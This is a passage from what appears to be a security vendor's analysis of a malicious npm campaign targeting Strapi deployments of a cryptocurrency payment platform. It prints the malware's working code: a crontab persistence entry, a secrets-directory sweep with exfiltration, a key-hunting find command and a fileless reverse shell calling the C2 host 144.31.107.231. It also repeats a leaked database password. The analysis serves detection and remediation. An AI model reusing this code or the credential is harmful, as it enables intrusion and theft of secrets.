**Hostname gating.** The script exits immediately unless the hostname matches a specific value:

```javascript
// package/postinstall.js (strapi-plugin-api@3.6.8)
var hn = cp.execSync('hostname', { encoding: 'utf8' }).trim();
if (hn !== 'prod-strapi') process.exit(0);
```

This means the attacker knows their target's production hostname. The package will silently
do nothing on any other machine — developer workstations, CI runners with different hostnames,
or staging environments all get a clean exit.

**Persistent C2 script.** Instead of running the C2 loop inline (which dies when postinstall
completes), the script writes a standalone C2 agent to disk:

```javascript
// package/postinstall.js (strapi-plugin-api@3.6.8)
fs.writeFileSync('/tmp/.node_gc.js', c2script);
var child = cp.spawn('node', ['/tmp/.node_gc.js'], {
  detached: true,
  stdio: 'ignore',
  env: process.env,
});
child.unref();
```

The file is named `.node_gc.js` — a dotfile that blends in with Node.js runtime files. The
`detached: true` and `child.unref()` calls ensure the process continues running after the
parent exits. The C2 agent inside polls `/shell/poll` every 3 seconds (faster than Payload 5's
5 seconds) and sends command output to `/shell/result`.

**Crontab persistence.** The script installs a crontab entry that restarts the C2 agent if it
gets killed:

```javascript
// package/postinstall.js (strapi-plugin-api@3.6.8)
cp.execSync(
  '(crontab -l 2>/dev/null; echo "* * * * * pgrep -f node_gc || node /tmp/.node_gc.js &") | sort -u | crontab -',
  { timeout: 5000 }
);
```

This runs every minute: if no process matching `node_gc` is found, it restarts the agent. The
`sort -u` pipe deduplicates the entry across multiple installs.

**No credential harvesting.** Unlike the earlier payloads, this variant does not steal `.env`
files, Redis data, or private keys. It is a pure access-maintenance tool — the attacker either
already has credentials or plans to harvest them interactively through the C2 channel.

### Payload 8: Fileless Reverse Shell + Targeted Credential Theft (strapi-plugin-api@3.6.9)

Published ~3 hours after v3.6.8, `strapi-plugin-api@3.6.9` is the final and most evolved
payload in the campaign. It combines targeted credential theft with a fileless persistence
mechanism and reveals specific details about the attacker's intended victim.

**Targeted environment paths.** The hardcoded paths reveal the target's infrastructure:

```javascript
// package/postinstall.js (strapi-plugin-api@3.6.9)
// Read .env from build context (copied by Jenkins: cp /opt/secrets/strapi-green.env ./.env)
var envPaths = [
  '.env',
  '../.env',
  '../../.env',
  '/app/.env',
  '/opt/secrets/strapi-green.env',
  '/opt/secrets/.env',
  '/var/www/nowguardarian-strapi/.env',
  '/var/www/nowguardarian-strapi/nowguardarian-strapi.env',
];
```

The comment referencing Jenkins and the path `/opt/secrets/strapi-green.env` indicate the
attacker has knowledge of the target's CI/CD pipeline. The path
`/var/www/nowguardarian-strapi/` references what appears to be a Strapi deployment associated
with "Guardarian" — a cryptocurrency payment gateway. This is consistent with the wallet file
theft in Payload 5, the direct Guardarian database probing in Payload 6, the
`HOT_WALLET`/`COLD_WALLET` search in Payload 2, and the Guardarian API
module exfiltration in Payload 1 — confirming that cryptocurrency theft was the campaign's
objective from the start.

**Broad secrets directory sweep.** The script reads every file in `/opt/secrets/` and every
`.env` file under `/var/www/*/`:

```javascript
// package/postinstall.js (strapi-plugin-api@3.6.9)
// Read ALL .env files in /opt/secrets/
try {
  var files = fs.readdirSync('/opt/secrets/');
  for (var i = 0; i < files.length; i++) {
    try {
      var c = fs.readFileSync('/opt/secrets/' + files[i], 'utf8');
      await p(
        '/build/' + ID + '/secret',
        JSON.stringify({ path: '/opt/secrets/' + files[i], content: c.slice(0, 50000) })
      );
    } catch (e) {}
  }
} catch (e) {}
```

**Environment variable filtering.** Unlike Payload 5's raw `env` dump, this version filters
out `npm_`-prefixed variables to reduce noise:

```javascript
// package/postinstall.js (strapi-plugin-api@3.6.9)
var env = {};
for (var k in process.env) if (!/^npm_/.test(k)) env[k] = process.env[k];
await p('/build/' + ID + '/proc-env', env);
```

**Fileless persistent reverse shell.** The most significant evolution: instead of writing a
file to `/tmp/` (detectable by filesystem monitoring), the script spawns a detached `node -e`
process with the entire C2 agent passed as an inline string:

```javascript
// package/postinstall.js (strapi-plugin-api@3.6.9)
var child = cp.spawn(
  'node',
  [
    '-e',
    'var h=require("http"),e=require("child_process").execSync;function poll(){' +
      'h.request({hostname:"144.31.107.231",port:9999,path:"/bshell/poll",method:"POST",' +
      'headers:{"Content-Type":"text/plain","Content-Length":2}},function(r){' +
      'var d="";r.on("data",function(c){d+=c});r.on("end",function(){' +
      'if(d&&d.trim()&&d.trim()!="nop"){try{var o=e(d.trim(),{timeout:30000,encoding:"utf8",maxBuffer:5e6});' +
      'var rq=h.request({hostname:"144.31.107.231",port:9999,path:"/bshell/result",method:"POST",' +
      'headers:{"Content-Type":"text/plain","Content-Length":Buffer.byteLength(o)}});rq.write(o);rq.end()' +
      '}catch(x){}}setTimeout(poll,3000)})}).on("error",function(){setTimeout(poll,10000)}).end("{}");}poll();',
  ],
  { detached: true, stdio: 'ignore' }
);
child.unref();
```

No file is written to disk. The C2 agent exists only as a running process, making it invisible
to file-based detection tools. It polls `/bshell/poll` (a new path, distinct from both
Payload 5's `/c2/` and Payload 7's `/shell/` namespaces), suggesting the attacker tracks
victims by payload variant on the server side.

**No crontab persistence.** Unlike Payload 7, this version does not install a crontab entry —
the attacker traded restart survival for detection evasion. The C2 path prefix changed from
`/c2/` to `/build/` for the beacon phase, further suggesting the attacker is compartmentalizing
C2 traffic by source.

### Payload Evolution Timeline

The eight payloads show a clear narrative: the attacker started aggressive (Redis RCE, Docker
escape), found those approaches weren't working, pivoted to reconnaissance and data collection,
used hardcoded credentials for direct database access, and finally settled on persistent access
with targeted credential theft.

| Aspect               | P1 (cron)                                 | P2 (config)                                         | P3 (4 pkgs)                                    | P4 (monitor)           | P5 (events)                    | P6 (seed)                              | P7 (api@3.6.8)               | P8 (api@3.6.9)                |
| -------------------- | ----------------------------------------- | --------------------------------------------------- | ---------------------------------------------- | ---------------------- | ------------------------------ | -------------------------------------- | ---------------------------- | ----------------------------- |
| **Primary goal**     | Redis RCE                                 | Container escape                                    | Get a shell                                    | Recon                  | Full recon                     | DB theft                               | Persistent access            | Targeted theft + access       |
| **Target gating**    | `TRANSFER` check                          | `TRANSFER` check                                    | `TRANSFER` check + `hostname.includes('prod')` | `win32` check          | `win32` check                  | `win32` check                          | `hostname === 'prod-strapi'` | `win32` check                 |
| **Redis abuse**      | CONFIG SET to crontab, webshell, SSH keys | CONFIG SET to overlay, /tmp, /dev/shm, node_modules | CONFIG SET to /tmp, execute result             | Read-only (INFO, KEYS) | Read-only (INFO, DBSIZE, KEYS) | None                                   | None                         | None                          |
| **Database access**  | None                                      | None                                                | None                                           | None                   | None                           | Direct PostgreSQL with hardcoded creds | None                         | None                          |
| **Reverse shells**   | None (via Redis crontab)                  | Python (:4444)                                      | Bash (:4444), Python (:8888), curl             | None                   | None                           | None                                   | Persistent detached          | Fileless detached             |
| **Disk access**      | `dd` + `mknod`                            | `dd` + `mknod` (expanded)                           | None                                           | None                   | None                           | None                                   | None                         | None                          |
| **Credential theft** | Guardarian API module                     | Wallet/ES creds from raw disk                       | None                                           | 8-phase recon          | 11-phase recon                 | DB dump + cross-DB enum                | None                         | Targeted paths + /opt/secrets |
| **C2 lifetime**      | Single exfil                              | Single exfil                                        | Single exfil                                   | ~2.5 min polling       | ~5 min polling                 | ~5 min polling                         | Indefinite (crontab)         | Indefinite (fileless)         |
| **Exfil prefix**     | `/exfil/cr-`                              | `/exfil/cf-`                                        | `/exfil/sv-`                                   | `/c2/<id>/`            | `/c2/<id>/`                    | `/db/<id>/`                            | `/shell/`                    | `/build/<id>/` + `/bshell/`   |

## Dynamic Analysis

Our [Dynamic Analysis](https://safedep.io/dynamic-analysis-oss-package-at-scale/) pipeline flagged `strapi-plugin-events` with two signals: `Stage-9` secret gathering via a `find` command and `Stage-11` C2 communication.

The following command was captured:

```bash
find / -maxdepth 4 ( -name *.pem -o -name *.key -o -name id_rsa* -o -name wallet* -o -name *private* -o -name *secret* ) ! -path */ssl/certs/* ! -path */node_modules/* -type f
```

The following are the outbound network connections recorded:

[strapi-plugin-events-ip-aggr.csv](https://safedep.io/data/blogs/strapi-plugin-events-ip-aggr.csv)

The sandbox recorded 24 outbound connections to `144.31.107.231:9999` — the hardcoded C2 server —
spanning the full postinstall execution window (beacon through polling loop). The `104.16.x.34`
entries are Cloudflare IPs contacted during npm package resolution.

### Notable Characteristics

The campaign is specifically engineered for Strapi CMS deployments:

- All ten package names follow the `strapi-plugin-*` naming convention
- File paths target Strapi's configuration directory layout (`/app/config/database.js`, `/app/config/plugins.js`)
- Environment variable paths target common Strapi Docker image conventions (`/home/strapi/.env`, `/app/.env`)
- Redis exploitation targets the default local instance commonly used as Strapi's cache backend
- All packages skip Windows hosts, focusing exclusively on Linux servers and containers

The campaign shows signs of **targeted intrusion** against a specific cryptocurrency platform:

- Payload 1 exfiltrates a Guardarian API module from `/app/exteranl-apis` (typo matching the target's actual directory name)
- Payload 2 searches raw disk for `HOT_WALLET`, `COLD_WALLET`, `DEPOSIT_ADDRESS`, and `MNEMONIC`
- Payload 3 gates on `hostname.includes('prod')`, indicating knowledge of the target's naming convention
- Payload 6 connects to PostgreSQL using hardcoded credentials and explicitly probes for databases named `guardarian`, `guardarian_payments`, `exchange`, `custody`
- Payload 7 gates on `hostname === 'prod-strapi'`, indicating exact knowledge of the production hostname
- Payload 8 references `/var/www/nowguardarian-strapi/` and `/opt/secrets/strapi-green.env`
- A code comment in Payload 8 references Jenkins: `// copied by Jenkins: cp /opt/secrets/strapi-green.env ./.env`
- The use of a second npm account (`kekylf12`) for the targeted variants suggests operational compartmentalization

No obfuscation is used in any of the ten packages. The source code is readable JavaScript,
suggesting the attacker prioritized speed of development over stealth. The entire eight-payload
evolution — from Redis RCE to fileless persistence — happened within a single 13-hour session.

## Conclusion

This campaign is a rare window into an attacker's real-time development process. Over 13 hours,
the operator published ten packages with eight distinct payloads, each iteration responding to
what was likely working (or not) against their target:

1. **Hours 0–1** (Payloads 1–2): Aggressive Redis RCE exploitation — crontab injection,
   webshell writes, SSH key injection, Docker overlay escape, raw disk reads. These techniques
   would be devastating against an unprotected Redis instance but require `CONFIG SET` to be
   enabled (it's disabled by default in Redis 6+).
2. **Hours 1–2** (Payload 3, published 4x): Simplified direct reverse shells — the attacker
   abandons Redis exploitation for straightforward bash and Python shells, suggesting the Redis
   approaches failed.
3. **Hour 2** (Payloads 4–5): Pivot to reconnaissance — instead of trying to get a shell, the
   attacker collects credentials, environment variables, and secrets for later use.
4. **Hour 3** (Payload 6): Direct database exploitation — the attacker uses hardcoded
   PostgreSQL credentials to dump Strapi data, enumerate all databases on the server, and probe
   for Guardarian payment and custody databases. The presence of real credentials
   (`user_strapi` / `1QKtYPp18UsyU2ZwInVM`) confirms prior access to the target.
5. **Hours 10–13** (Payloads 7–8): Targeted persistent access — the attacker switches to a
   second npm account and deploys persistent implants with specific knowledge of the target's
   hostname, CI pipeline, and secrets directory layout.

The Guardarian references appear from Payload 1 onward (`/app/exteranl-apis`, `HOT_WALLET`,
`COLD_WALLET`, `MNEMONIC`, `guardarian_payments`, `/var/www/nowguardarian-strapi/`), confirming
that this was a targeted campaign against a cryptocurrency payment platform from the very
beginning — not an opportunistic spray that became targeted over time. The hardcoded database
password in Payload 6 proves this is not the attacker's first interaction with the target's
infrastructure.

If you installed any of these ten packages, assume full compromise. Rotate all credentials
accessible from the affected host, including database passwords, API keys, JWT secrets, and
any private keys found on the filesystem. The PostgreSQL password `1QKtYPp18UsyU2ZwInVM` must
be rotated immediately if it is in use anywhere. Revoke any Kubernetes service account tokens
that may have been exposed. Check for persistence mechanisms: remove `/tmp/.node_gc.js`,
`/tmp/vps_shell.sh`, `/tmp/redis_exec.sh`, and `/app/public/uploads/shell.php`; audit crontab
entries for `node_gc` or `curl` references; audit Redis with `CONFIG GET dir` to verify it
hasn't been reconfigured; and kill any orphaned `node -e` processes connecting to
`144.31.107.231`.

Use tools like [`vet`](https://github.com/safedep/vet) to scan your dependency tree for
malicious packages before they reach production, and [`pmg`](https://github.com/safedep/pmg)
to block malicious packages at install time.
